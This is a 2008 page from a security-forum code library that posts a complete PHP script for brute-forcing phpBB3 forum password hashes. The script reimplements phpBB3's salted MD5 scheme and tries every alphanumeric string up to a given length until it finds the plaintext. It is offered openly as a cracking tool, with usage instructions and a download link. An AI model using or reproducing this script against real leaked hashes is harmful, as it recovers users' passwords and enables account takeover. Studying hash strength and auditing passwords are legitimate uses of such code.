[ Log In | Register ]       
Resource Database Index -> Source Code -> PhpBB3 Hash Bruteforce
Description // Info



Source Code

  1. #!/usr/bin/php
  2. <?php
  3.  
  4. echo "///////////////////////////////////////////////\r\n";
  5. echo "//         PHPBB3 Bruteforce             //\r\n";
  6. echo "//  Original bruteforce script by Tux      //\r\n";
  7. echo "//     Moded for Phpbb3 by Jeforce     //\r\n";
  8. echo "//     http://www.jeforce.net            //\r\n";
  9. echo "////////////////////////////////////////////\r\n";
  10.  
  11. if ($argc<2 || $argv[1]=='--help') {
  12.     echo<<<END
  13. USAGE: {$argv[0]} 'hash' chars
  14.     - hash        : The hash to crack
  15.     - chars        : Max length string to attempt to crack
  16.  
  17. HELP: {$argv[0]} --help
  18.  
  19.  
  20. END;
  21.     exit;
  22. }
  23. //Fonction PHPBB3
  24.  
  25. function _hash_crypt_private($password, $setting, &$itoa64)
  26. {
  27. $output = '*';
  28. // Check for correct hash
  29. if (substr($setting, 0, 3) != '$H$')
  30. {return $output;}
  31.  
  32. $count_log2 = strpos($itoa64, $setting[3]);
  33. if ($count_log2 < 7 || $count_log2 > 30)
  34. {return $output;}
  35. $count = 1 << $count_log2;
  36. $salt = substr($setting, 4, 8);
  37. if (strlen($salt) != 8)
  38. {return $output;}
  39.  
  40. $hash = pack('H*', md5($salt . $password));
  41. do
  42. {
  43. $hash = pack('H*', md5($hash . $password));
  44. }
  45. while (--$count);
  46. $output = substr($setting, 0, 12);
  47. $output .= _hash_encode64($hash, 16, $itoa64);
  48. return $output;
  49. }
  50. function _hash_gensalt_private($input, &$itoa64, $iteration_count_log2 = 6)
  51. {
  52. if ($iteration_count_log2 < 4 || $iteration_count_log2 > 31)
  53. {$iteration_count_log2 = 8;}
  54. $output = '$H$';
  55. $output .= $itoa64[min($iteration_count_log2 + ((PHP_VERSION >= 5) ? 5 : 3), 30)];
  56. $output .= _hash_encode64($input, 6, $itoa64);
  57. return $output;
  58. }
  59.  
  60. /**
  61. * Encode hash
  62. */
  63. function _hash_encode64($input, $count, &$itoa64)
  64. {
  65. $output = '';
  66. $i = 0;
  67. do
  68. {
  69. $value = ord($input[$i++]);
  70. $output .= $itoa64[$value & 0x3f];
  71. if ($i < $count)
  72. {$value |= ord($input[$i]) << 8;}
  73. $output .= $itoa64[($value >> 6) & 0x3f];
  74. if ($i++ >= $count)
  75. {break;}
  76. if ($i < $count)
  77. {$value |= ord($input[$i]) << 16;}
  78. $output .= $itoa64[($value >> 12) & 0x3f];
  79. if ($i++ >= $count)
  80. {break;}
  81. $output .= $itoa64[($value >> 18) & 0x3f];
  82. }
  83. while ($i < $count);
  84. return $output;
  85. }
  86. function phpbb_check_hash($password, $hash)
  87. {
  88. $itoa64 = './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';
  89. if (strlen($hash) == 34)
  90. {
  91. return (_hash_crypt_private($password, $hash, $itoa64) === $hash) ? true : false;
  92. }
  93. return (md5($password) === $hash) ? true : false;
  94. }
  95.  
  96. //if(isset($argv[4])) $charset=$argv[4];
  97. //else $charset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
  98.  
  99. $charset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
  100. $charset_beginning = $charset{0};
  101. $charset_end = $charset{strlen($charset)-1};
  102.  
  103. //$HASH = '$H$99i1.eNyzhGdi5/lAnKnSjU8iIABC80';
  104. // $SIZE = (int) $_GET['chars'];
  105. $HASH = $argv[1];
  106. $SIZE = (int) $argv[2];
  107.  
  108. $start = time()-1;
  109. $curtotal=0;
  110. $total=0;
  111. for($i=$SIZE; $i>0; $i--) $total+=pow(strlen($charset), $i);
  112. $split=ceil(($total/strlen($charset))/5);
  113.  
  114.  
  115. echo " *** MAX SIZE: $SIZE, cracking HASH: $HASH\r\n";
  116. echo " *** TOTAL KEYS: $total\r\n";
  117. echo " *** CHARSET: $charset\r\n";
  118.  
  119. for($i=1; $i<=$SIZE; $i++) {
  120.     $keyspace = pow(strlen($charset), $i);
  121.     echo "\r\nAttempting to crack with $i characters.\r\n";
  122.     echo " *** Total combinations: $keyspace\r\n";
  123.  
  124.     $key = '';
  125.     for ($y=0; $y<$i; $y++) $key .= $charset_beginning;
  126.  
  127.     for ($x=0; $x<$keyspace+1; $x++) {
  128.         $curtotal++;
  129.  
  130.         if (phpbb_check_hash($key, $HASH)) {
  131.             $time=(time()-$start);
  132.             echo<<<END
  133.  
  134. Successfully key cracked after $time seconds. The cracker searched a total
  135. of $curtotal keys out of a possible $total in $time seconds.
  136.  
  137. Found the clear text of '$HASH' is '$key'.\n
  138. END;
  139.             exit;
  140.         }
  141.  
  142.         if($x%$split == 0) {
  143.             $rate=ceil($curtotal/(time()-$start));
  144.             echo " ... $curtotal/$total ($key) [$rate Keys/second]\r\n";
  145.         }
  146.  
  147.         for ($y=0; $y<$i; $y++) {
  148.             if ($key[$y] != $charset_end) {
  149.                 $key[$y] = $charset{strpos($charset, $key[$y])+1};
  150.              
  151.                 if ($y > 0)  for ($z = 0; $z < $y; $z++) $key[$z] = $charset_beginning;
  152.                 break;
  153.             }
  154.         }
  155.     }
  156. }
  157. $time=time()-$start;
  158. echo<<<END
  159. *** SORRY NO MATCHS FOUND
  160.     Time running : $time. Keys searched : $total.\n
  161. END;
  162. ?>


Comments

You must be logged in to post comments.

 Network Access...
USER ID
PASSWORD

 Code Information
Language:
PHP

Version:
1


Submitted:
2008-07-15 - 09:46:24


Author:
Jeforce
E-Mail
Website

Greetz:
Tux

[ Download | Report Issue ]

 Code Search
Search by Language
+ Assembly
+ ASP
+ ASP.NET
+ C#
+ C/C++
+ Cobol
+ Delphi
+ Java
+ Javascript
+ Pascal
+ Perl
+ PHP
+ Python
+ VB6
+ VB.NET

Advanced Search




 
 
By continuing past this page, and by your continued use of this site, you agree to be bound by and abide by the User Agreement.

© 2008 r00tsecurity network. All rights reserved.
[ About Us | Contact Us | Support Us | Legal | Advertise | User Agreement | Privacy Policy ]